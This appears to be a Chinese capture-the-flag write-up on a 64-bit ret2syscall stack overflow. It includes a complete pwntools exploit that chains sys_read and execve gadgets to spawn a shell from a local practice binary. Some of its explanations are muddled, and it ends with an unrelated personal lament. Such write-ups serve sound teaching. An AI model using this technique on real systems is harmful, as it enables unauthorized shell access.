pwn入门--ret2syscall_64题解(ret2syscall漏洞)


checksec检查文件发现是64位,并且No PIE,No canary found。

可以考虑栈溢出攻击,扔进Ubuntu里gdb一下发现栈溢出偏移量是88

先查找出各个寄存器的地址,方便接下来构造函数

查找/bin/sh的时候发现该程序中不存在,那我们只好往程序里手动写入了

梳理下思路:我们需要进入程序的/bin/sh目录,这个目录在文件中无法找到现成的,我们需要向程序中写入,然后打开。写入方面,我们要写入bss段中,这是我们当前权限下可读可写的唯一段。写入后,我们需要进入,进入后即完成攻击操作。其中将/bin/sh路径写入bss段和进入至/bin/sh路径下都需要调用系统函数

把程序扔进IDA里,查找到bss段所在的内存空间,随便挑一个地址,这里选择0x00000000006C1C68,后面将字符串'/bin/shx00'发送至该地址(x00是为了让字符串对齐存储)

我们需要调用系统函数将'/bin/shx00'读入进bss段内,使用sys_read()函数,系统调用号为0,格式为sys_read(unsigned int fd,char *buf,size_t count)。现在可以开始构造read的代码了:找到rax,rdi,rsi,rdx和syscall,main的地址(注意这里的sysycall是要带ret的,为了执行完read函数后及时将read函数的栈帧释放,平栈)为什么需要main的地址呢,因为我们发送'/bin/shx00'只是第一步,发送完后还要通过执行其他函数利用它,所以需要返回到main函数开头重新执行。

现在我们已经将'/bin/shx00'写入目标地址,接下来要构造函数执行,我们选择sys_execve()函数,系统调用号为59,格式为sys_execve(const char filename,const char const argv[],const char *const envp[]),同样的步骤,找到所需参数
,不过这里就不需要main了

构造完毕,执行,发现成功hack进去了

接下来放exp:

from pwn import *
context.arch='amd64'
p = process('./ret2sys_64')
_rax=0x000000000046b9f8
_rsi=0x00000000004017d7
_rdi=0x00000000004016c3
_rdx=0x00000000004377d5
_bss=0x00000000006C1C70
_syscall=0x000000000045bac5
_main=0x40105E
payload= b'a'*88
payload+=p64(_rax)+p64(0)
payload+=p64(_rdi)+p64(0)
payload+=p64(_rsi)+p64(_bss)
payload+=p64(_rdx)+p64(100)
payload+=p64(_syscall)
payload+=p64(_main)
p.sendline(payload)
p.sendline('/bin/sh\x00')
payload= b'a'*88
payload+=p64(_rax)+p64(59)
payload+=p64(_rdi)+p64(_bss)
payload+=p64(_rsi)+p64(0)
payload+=p64(_rdx)+p64(0)
payload+=p64(_syscall)
#payload+=p64(_main)
p.sendline(payload)
p.interactive()

声明:大K|版权所有,违者必究|如未注明,均为原创|本网站采用BY-NC-SA协议进行授权

转载:转载请注明原文链接 - pwn入门--ret2syscall_64题解(ret2syscall漏洞)


I'm scared this is all i will ever be...I feel trapped in my own life...I think i've figured it out but in reality i'm as lost as ever...I wish i could choose the memories that stay...please,stay.